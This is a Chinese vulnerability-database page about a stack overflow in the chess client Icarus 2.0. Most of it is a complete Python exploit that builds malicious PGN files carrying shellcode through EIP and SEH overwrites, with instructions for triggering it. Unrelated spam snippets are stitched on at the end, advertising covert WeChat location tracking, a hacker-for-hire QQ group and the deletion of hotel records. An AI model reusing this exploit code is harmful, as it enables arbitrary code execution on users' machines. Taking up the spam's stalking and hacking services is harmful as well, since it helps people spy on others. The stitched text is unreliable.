影响版本:
Random Software Icarus 2.0
漏洞描述:
BUGTRAQ ID: 34167
Icarus是在线国际象棋游戏Internet Chess Club所使用的界面。
如果用户使用Icarus打开了特制的Portable Game Notation(*.pgn)文件的话,就可能触发栈溢出,导致执行任意代码。<*参考
http://secuni *** /advisories/34368/
*>
SEBUG安全建议:
厂商补丁:
Random Software
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.randomly.com/apps/icarus/index-en.html
测试 *** :
[www.sebug.net]
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
#usage: exploit.py
print \"********************************************************************\"
print \" Icarus 2.0 Local Stack Overflow Exploit\\n\"
print \" Download: http://www.randomsoftware.com/pub/icarus.exe\"
print \" Author : His0k4\"
print \" Tested on: Windows XP Pro SP2 Fr\\n\"
print \" Greetings to:\"
print \" All friends & muslims HaCkers(dz)\\n\"
print \" Tip of the day: Klimontayne fe romayne :D\"
print \"********************************************************************\\n\\n\"
payload1 = \"\\x41\" * 336
payload1 += \"\\x5D\\x38\\x82\\x7C\" # call esp kernel32.dll (sp2)
payload1 += \"\\x90\" * 19 #some nops
payload1 += \"\\x29\\xc9\\x83\\xe9\\xde\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x38\"
payload1 += \"\\x4e\\xf9\\x9f\\x83\\xeb\\xfc\\xe2\\xf4\\xc4\\xa6\\xbd\\x9f\\x38\\x4e\\x72\\xda\"
payload1 += \"\\x04\\xc5\\x85\\x9a\\x40\\x4f\\x16\\x14\\x77\\x56\\x72\\xc0\\x18\\x4f\\x12\\xd6\"
payload1 += \"\\xb3\\x7a\\x72\\x9e\\xd6\\x7f\\x39\\x06\\x94\\xca\\x39\\xeb\\x3f\\x8f\\x33\\x92\"
payload1 += \"\\x39\\x8c\\x12\\x6b\\x03\\x1a\\xdd\\x9b\\x4d\\xab\\x72\\xc0\\x1c\\x4f\\x12\\xf9\"
payload1 += \"\\xb3\\x42\\xb2\\x14\\x67\\x52\\xf8\\x74\\xb3\\x52\\x72\\x9e\\xd3\\xc7\\xa5\\xbb\"
payload1 += \"\\x3c\\x8d\\xc8\\x5f\\x5c\\xc5\\xb9\\xaf\\xbd\\x8e\\x81\\x93\\xb3\\x0e\\xf5\\x14\"
payload1 += \"\\x48\\x52\\x54\\x14\\x50\\x46\\x12\\x96\\xb3\\xce\\x49\\x9f\\x38\\x4e\\x72\\xf7\"
payload1 += \"\\x04\\x11\\xc8\\x69\\x58\\x18\\x70\\x67\\xbb\\x8e\\x82\\xcf\\x50\\xbe\\x73\\x9b\"
payload1 += \"\\x67\\x26\\x61\\x61\\xb2\\x40\\xae\\x60\\xdf\\x2d\\x98\\xf3\\x5b\\x4e\\xf9\\x9f\"
junk = \"\\xCC\"*7000
payload2 = \"\\x5B\\x46\\x6F\\x72\\x6D\\x61\\x74\\x20\\x22\\x4C\\x65\\x63\\x74\\x75\\x72\\x65\\x22\\x5D\"
payload2 += \"\\x0A\\x5B\\x54\\x69\\x74\\x6C\\x65\\x20\\x22\\x65\\x78\\x70\\x6C\\x6F\\x69\\x74\\x22\\x5D\"
payload2 += \"\\x0A\\x0A\"
payload2 += \"\\x41\"*788
payload2 += \"\\xEB\\x06\\x90\\x90\" # jmp +6
payload2 += \"\\xE9\\x10\\x37\\x01\" # universal pop pop ret
payload2 += \"\\x29\\xc9\\x83\\xe9\\xde\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x38\"
payload2 += \"\\x4e\\xf9\\x9f\\x83\\xeb\\xfc\\xe2\\xf4\\xc4\\xa6\\xbd\\x9f\\x38\\x4e\\x72\\xda\"
payload2 += \"\\x04\\xc5\\x85\\x9a\\x40\\x4f\\x16\\x14\\x77\\x56\\x72\\xc0\\x18\\x4f\\x12\\xd6\"
payload2 += \"\\xb3\\x7a\\x72\\x9e\\xd6\\x7f\\x39\\x06\\x94\\xca\\x39\\xeb\\x3f\\x8f\\x33\\x92\"
payload2 += \"\\x39\\x8c\\x12\\x6b\\x03\\x1a\\xdd\\x9b\\x4d\\xab\\x72\\xc0\\x1c\\x4f\\x12\\xf9\"
payload2 += \"\\xb3\\x42\\xb2\\x14\\x67\\x52\\xf8\\x74\\xb3\\x52\\x72\\x9e\\xd3\\xc7\\xa5\\xbb\"
payload2 += \"\\x3c\\x8d\\xc8\\x5f\\x5c\\xc5\\xb9\\xaf\\xbd\\x8e\\x81\\x93\\xb3\\x0e\\xf5\\x14\"
payload2 += \"\\x48\\x52\\x54\\x14\\x50\\x46\\x12\\x96\\xb3\\xce\\x49\\x9f\\x38\\x4e\\x72\\xf7\"
payload2 += \"\\x04\\x11\\xc8\\x69\\x58\\x18\\x70\\x67\\xbb\\x8e\\x82\\xcf\\x50\\xbe\\x73\\x9b\"
payload2 += \"\\x67\\x26\\x61\\x61\\xb2\\x40\\xae\\x60\\xdf\\x2d\\x98\\xf3\\x5b\\x4e\\xf9\\x9f\"
payload2 += \"\\xCC\"*7000
try:
out_file = open(\"exploit_eip.PGN\",\'w\')
out_file.write(payload1+junk)
out_file.close()
print \"Eip exploit File Created!\\nNow you can run this file directly\\n\"
except:
print \"Error\"
try:
out_file = open(\"exploit_seh.PGN\",\'w\')
out_file.write(payload2)
out_file.close()
print \"Seh exploit File Created!\\nOpen Icarus then game>load and chose exploit_seh.PGN\\n\"
except:
print \"Error\"
在单边主义、保护主义上升的大背景下,原始创新能力提升是纺织科技工作者肩负的历史责任。作为我国最早的纺织科技社会组织,中国纺织工程学会已经走过了90年辉煌历程,同时,2020年也是中国纺织工程学会第...
近日,芦山县与福建新经纬控股有限公司、福建天和纺织实业有限公司举行项目洽谈会。芦山县委书记周建华出席会议,福建新经纬控股有限公司董事长林景,福建省天和纺织实业有限公司销售总经理陈本院等参加会议...
原标题:多米尼加一塑料厂发生爆炸 致3人死亡多人受伤当地时间2018年12月5日,多米尼加圣多明各,当地一家塑料厂发生爆炸,救援人员正在搜寻遇难者。据报道共有3人在此次爆炸中丧生,并有多人受伤。多米尼...
微信不惊动对方怎么知道对方的位置(用自己手机查老婆和别人聊天),当前,惟有手机有许多功效。好比微信的地位,许多人只是想晓得怎样在本人不知情的环境下晓得对方的地位。究竟上,微信能够隐秘定位密友。底下的小...
24小时接单的黑客QQ群_先做再付黑客联系方式 伴随着无线Wifi融入我们的生活,似乎走到哪里我们都会拿出手机连上WiFi,同时我们也有自己的Wifi密码,很多时候因为密码自动连接,导致我们...
如今,这是一种大数据生活方式,当你将任何东西相加时,你得到的数据绝对是令人难以置信的令人印象深刻,例如酒店房间开张记录。 开房记录能不能删除? 1.因为如果我们不小心,我们每个人都会出去做自己的唱...